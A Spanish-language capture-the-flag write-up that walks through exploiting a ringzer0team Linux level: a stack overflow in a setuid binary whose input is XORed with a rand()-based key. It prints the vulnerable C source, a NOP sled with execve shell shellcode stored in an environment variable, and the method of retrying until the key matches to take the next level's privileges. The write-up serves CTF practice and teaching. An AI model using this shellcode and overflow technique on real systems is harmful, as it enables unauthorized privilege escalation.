by [Q]3rV[0]
Últimamente le estuve dedicando tiempo al CTF de ringzer0team que cuenta con una extensa lista de retos de todo tipo: Exploiting, Informática forense, web,
Cracking, Escalacion de privilegios en linux, Criptografia, Javascript,Inyecciones SQL, etc.
Como consejo los invito a que se pasen por la web y le den masa a muchos de los desafÃos que existen, ya que además de pasar un buen rato, se pueden llevar a casa unos buenos skills mejorados en el ámbito de la seguridad.
El ultimo reto que realice tiene por nombre "Level4 Pwnage Linux Level Up", esta dentro de una serie de desafÃos de exploiting en linux en el que tendremos que ir rebalsando el vaso para ir ganando privilegios, comenzando por supuesto a partir del primer nivel.
Level4
Una vez dentro, en el directorio /levels encontramos el binario level4 con su respectivo source, antes que nada vamos a ver como reacciona al pasaje de argumentos. Aclaro que ASLR esta a 0 en el servidor y los binarios no presentan ninguna protección como NX, CANARY, etc.
Ok, ingreso una A como argumento y recibo una salida diferente tras cada ejecución, vamos a ver si podemos tocar el EIP.
Logramos sobrescribir EIP, pero aparentemente se pinta con un valor diferente a A, ahora si creo que es momento de pispear el source para ver que anda pasando.
/*
This garbage has been written by Mr.Un1k0d3r 2014
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#define BUFFER_MAX_SIZE 1024
typedef struct __INPUT {
char output[BUFFER_MAX_SIZE / 4];
} INPUT;
void parse_buffer(char *buffer) {
srand(time(NULL));
char key = (unsigned char)(rand());
int i, size = strlen(buffer);
for(i = 0; i < size; i++) {
buffer[i] = (char)buffer[i] ^ key;
}
}
int main(int argc, char **argv) {
INPUT input;
char out[BUFFER_MAX_SIZE / 4];
char in[BUFFER_MAX_SIZE];
memset(out, 0, BUFFER_MAX_SIZE / 4);
if(argc != 2) {
printf("Usage: %s buffer\n", argv[0]);
exit(0);
}
strncpy(in, argv[1], BUFFER_MAX_SIZE - 1);
parse_buffer(in);
strncpy(out, in, BUFFER_MAX_SIZE - 1);
strncpy(input.output, out, BUFFER_MAX_SIZE - 1);
printf("output: %s\n", input.output);
return 0;
}
En esta función es donde se da el truco.
void parse_buffer(char *buffer) {
srand(time(NULL));
char key = (unsigned char)(rand());
int i, size = strlen(buffer);
for(i = 0; i < size; i++) {
buffer[i] = (char)buffer[i] ^ key;
}
}
Lo que sucede es que cada carácter que es ingresado al buffer sufre una operación XOR de su equivalente en ASCII, pero como vemos la variable key almacena valores aleatorios mediante la función rand() por lo que en cada ejecución la cadena que le pasemos va a presentar un output diferente o no, si es que la key se vuelve a repetir.
Analicemos un poco que es lo que hace el operador ^ (XOR)
XOR btwise
XOR es un operador que trabaja a nivel de bits, su función es simple, toma dos enteros y arroja una salida.
Supongamos que tenemos la siguiente linea.
26 ^ 30
26 = 11010
30 = 11110
out = 00100 = 4
Entonces si realizo la siguiente operación
4 ^ 30
El resultado seria 26
Comprendiendo ahora como trabaja XOR podemos codificar la dirección de memoria que sobrescribirá EIP, con un valor determinado y esperar a que este se repita para que se produzca la decodificación.
Forjando el exploit
En el server opte por almacenar el NOPSLED+SHELLCODE dentro de una variable de entorno y luego obtener la dirección en memoria de dicha variable con la que invadiremos el EIP.
level4@rzt-bin01:~$ export SHELLCODE=$(python -c 'print "\x90"*200+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"')
La ubicación de SHELLCODE podemos divisarla con el siguiente programita en c.
#include <stdlib.h>
int main()
{
char *addr;
addr = getenv("SHELLCODE");
printf("SHELLCODE is at %p\n", addr);
exit(0);
}
level4@rzt-bin01:~$ /var/tmp/./findvar SHELLCODE is at 0xbffff876
Una vez que obtenemos la dirección la codificamos a XOR ^ 47
Para no tener que andar codeando nada nuevo, simplemente aproveche el source del binario y le deje el valor de la variable key fijo en 47, que es el entero que usaremos para codificar nuestra dirección y con suerte esperemos que se repita enseguida.
/*
This garbage has been written by Mr.Un1k0d3r 2014
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#define BUFFER_MAX_SIZE 1024
typedef struct __INPUT {
char output[BUFFER_MAX_SIZE / 4];
} INPUT;
void parse_buffer(char *buffer) {
char key = (unsigned char)(47);
int i, size = strlen(buffer);
for(i = 0; i < size; i++) {
buffer[i] = (char)buffer[i] ^ key;
}
}
int main(int argc, char **argv) {
INPUT input;
char out[BUFFER_MAX_SIZE / 4];
char in[BUFFER_MAX_SIZE];
memset(out, 0, BUFFER_MAX_SIZE / 4);
if(argc != 2) {
printf("Usage: %s buffer\n", argv[0]);
exit(0);
}
strncpy(in, argv[1], BUFFER_MAX_SIZE - 1);
parse_buffer(in);
strncpy(out, in, BUFFER_MAX_SIZE - 1);
strncpy(input.output, out, BUFFER_MAX_SIZE - 1);
printf("output: %s\n", input.output);
return 0;
}
Lo compilamos en local
gcc -o xorencode -fno-stack-protector -mpreferred-stack-boundary=2 level4xor.c
Y codificamos 0xbffff876
Por lógica si volviéramos a codificar 0x59d7d090 el valor tendrÃa que ser igual a 0xbffff876.
Solo resta armar el exploit y darle a mano hasta que la key obtenga el valor 47 cosa que no es imposible pero puede llevarnos algún tiempito o no, dependera de la suerte con la que corramos!.
Dos dias despues...
No, es joda! XD, luego de media hora intentando el exploit termino por tirarme el prompt de la victoria, el EIP por fin se tiño con la dirección donde se hallaba nuestro shellcode y pude tomar el setuid de level5!.
Y se preguntaran por que no programe un script que me automatice el trabajo??...sangre sudor y gloria es mi respuesta.






